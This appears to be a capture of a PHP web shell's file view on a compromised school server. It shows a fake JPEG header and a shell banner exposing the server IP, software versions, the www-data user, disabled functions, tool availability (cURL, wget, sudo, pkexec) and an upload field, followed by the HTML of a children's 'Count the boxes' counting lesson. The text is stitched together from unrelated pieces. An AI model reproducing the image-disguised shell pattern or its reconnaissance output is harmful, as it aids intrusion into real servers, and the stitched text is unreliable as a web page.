????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.37 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/apps/school/www_old7/Html/LevelA/Category2/ |
Upload File : |
<!DOCTYPE html>
<html>
<head>
<title>Count the boxes</title>
<script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script>
<style type="text/css">
.textColourRed
{
color: #F00;
}
</style>
<script>
function page_preLoad()
{
shared_setDeviceTypeLevelCategoryLastLesson(Level.A, Category.No2);
shared_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta');
shared_setHeaderTable('id_tblHeader', shared_title_page, shared_getSubTitle(Level.A, Category.No2, 20), true, true);
shared_setFooterTable('id_tblFooter', true, true, false, true, true);
var ids_headings = ['id_td_heading1', 'id_td_heading2'];
var ids_boxes = ['id_box1', 'id_box2', 'id_box3', 'id_box4'];
var ids_options = ['id_td_5', 'id_td_9', 'id_td_3', 'id_td_6'];
var ids_All = ids_headings.concat(ids_boxes);
shared_adjust_fontSize_for_ids_all_devices(ids_All, 80);
shared_adjust_fontSize_for_ids_all_devices(ids_options, 120);
shared_init_dropBox_tds_with_drag_here(ids_boxes);
shared_init_dropping_spans(ids_options);
var id_tables_array = ['id_table1'];
shared_set_border_none_for_table_except_android(id_tables_array);
shared_setTablesHeightsForIE();
}
function page_onLoad()
{
}
function btnPrevious_click()
{
window.location = "LevelACat2Lesson19.html";
}
function btnNext_click()
{
window.location = 'LevelACat2Lesson21.html';
}
function btnHome_click()
{
shared_btnHomeCategories_click('LevelA');
}
function DragDrop(id_dropBox, ids_array)
{
if (shared_isMovingElementIdInTheArraySetIsFilledTrue(id_dropBox, ids_array))
{
shared_setTextAndBackgroundColorToGreenAndIsMovedTrue(shared_currentDropingId, id_dropBox);
isAllInfosMovedShowClapsAnimation();
shared_set_currentDropingId_draggbleToFalse();
}
else
{
shared_resetCurrentDroppingPosition(id_dropBox);
}
}
function isAllInfosMovedShowClapsAnimation()
{
var ids_boxes = ['id_box1', 'id_box2', 'id_box3', 'id_box4'];
shared_is_all_infos_filled_show_claps_animationWithIsFilled(ids_boxes);
}
</script>
</head>
<body onload="page_onLoad()">
<div id="shared_id_div_claps_image">
</div>
<table id="id_tblMainiPadBody" border="1" cellspacing="0" cellpadding="0">
<tr height="8%">
<td>
<div id="id_tblHeader"></div>
</td>
</tr>
<tr height="*" hieghtForIE="84%" data-role="page"> <!-- for swiping left and right especially for Android device -->
<td>
<table width="100%" height="100%" border="0" cellpadding="2%" cellspacing="0">
<tr height="100%">
<td>
<table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse">
<tr height="5%">
<td id="id_td_heading1" class="shared_style_options_black_24px_bold"><u>Can you count the following </u><span class="textColourRed"><u>box</u></span><u>es?</u>
</td>
</tr>
<tr height="10%">
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td id="id_td_heading2" class="shared_style_options_blue_24px_bold" width="*"> Options:
</td>
<td id="id_td_5" class="shared_style_red_24px_bold" width="20%" style="text-align: center" draggable="true" ondragstart="shared_dragStartNew(event)"><span id="id_span_5">5</span>
</td>
<td id="id_td_9" class="shared_style_red_24px_bold" width="20%" style="text-align: center" draggable="true" ondragstart="shared_dragStartNew(event)"><span id="id_span_9">9</span>
</td>
<td id="id_td_3" class="shared_style_red_24px_bold" width="20%" style="text-align: center" draggable="true" ondragstart="shared_dragStartNew(event)"><span id="id_span_3">3</span>
</td>
<td id="id_td_6" class="shared_style_red_24px_bold" width="20%" style="text-align: center" draggable="true" ondragstart="shared_dragStartNew(event)"><span id="id_span_6">6</span>
</td>
</tr>
</table>
</td>
</tr>
<tr height="*" hieghtForIE="85%">
<td>
<table id="id_table1" class="shared_style_cellspacing_2_percent_IE" width="100%" height="100%" border="0" cellspacing="2%" cellpadding="0">
<tr id="id_tr_3" height="25%"
ondragover="shared_highlight('id_box1'); shared_allowDrop_web(event)"
ondragleave="shared_un_highlight('id_box1')"
ondrop="DragDrop('id_box1', ['id_span_3'])">
<td width="70%" style="text-align:center; vertical-align:middle">
<img id="id_imgBoxes3" src="../../../img/LevelA/Category2/LevelACat2Lesson20/boxes3.png" width="30%" draggable="false">
</td>
<td id="id_box1" class="cls_box1 shared_style_red_24px_bold" width="*" style="text-align:center; vertical-align:middle">__
</td>
</tr>
<tr id="id_tr_9" height="25%"
ondragover="shared_highlight('id_box2'); shared_allowDrop_web(event)"
ondragleave="shared_un_highlight('id_box2')"
ondrop="DragDrop('id_box2', ['id_span_9'])">
<td width="70%" style="text-align:center; vertical-align:middle">
<img id="id_imgBoxes9" src="../../../img/LevelA/Category2/LevelACat2Lesson20/boxes9.png" width="30%" draggable="false">
</td>
<td id="id_box2" class="cls_box2 shared_style_red_24px_bold" width="*" style="text-align:center; vertical-align:middle">__
</td>
</tr>
<tr id="id_tr_6" height="25%"
ondragover="shared_highlight('id_box3'); shared_allowDrop_web(event)"
ondragleave="shared_un_highlight('id_box3')"
ondrop="DragDrop('id_box3', ['id_span_6'])">
<td idth="70%" style="text-align:center; vertical-align:middle">
<img id="id_imgBoxes6" src="../../../img/LevelA/Category2/LevelACat2Lesson20/boxes6.png" width="30%" draggable="false">
</td>
<td id="id_box3" class="cls_box3 shared_style_red_24px_bold" width="*" style="text-align:center; vertical-align:middle">__
</td>
</tr>
<tr id="id_tr_5" height="*" hieghtForIE="25%"
ondragover="shared_highlight('id_box4'); shared_allowDrop_web(event)"
ondragleave="shared_un_highlight('id_box4')"
ondrop="DragDrop('id_box4', ['id_span_5'])">
<td width="70%" style="text-align:center; vertical-align:middle">
<img id="id_imgBoxes5" src="../../../img/LevelA/Category2/LevelACat2Lesson20/boxes5.png" width="30%" draggable="false">
</td>
<td id="id_box4" class="cls_box4 shared_style_red_24px_bold" width="*" style="text-align:center; vertical-align:middle">__
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="8%">
<td>
<div id="id_tblFooter"></div>
</td>
</tr>
</table>
<script>
page_preLoad();
new webkit_draggable('id_span_5', {handle : 'id_td_5', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
new webkit_draggable('id_span_9', {handle : 'id_td_9', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
new webkit_draggable('id_span_3', {handle : 'id_td_3', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
new webkit_draggable('id_span_6', {handle : 'id_td_6', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
webkit_drop.add('id_tr_3', {onOver : function(){shared_highlight('id_box1')}, onOut : function(){shared_un_highlight('id_box1')}, onDrop : function(){DragDrop('id_box1', ['id_span_3'])}});
webkit_drop.add('id_tr_9', {onOver : function(){shared_highlight('id_box2')}, onOut : function(){shared_un_highlight('id_box2')}, onDrop : function(){DragDrop('id_box2', ['id_span_9'])}});
webkit_drop.add('id_tr_6', {onOver : function(){shared_highlight('id_box3')}, onOut : function(){shared_un_highlight('id_box3')}, onDrop : function(){DragDrop('id_box3', ['id_span_6'])}});
webkit_drop.add('id_tr_5', {onOver : function(){shared_highlight('id_box4')}, onOut : function(){shared_un_highlight('id_box4')}, onDrop : function(){DragDrop('id_box4', ['id_span_5'])}});
</script>
</body>
</html>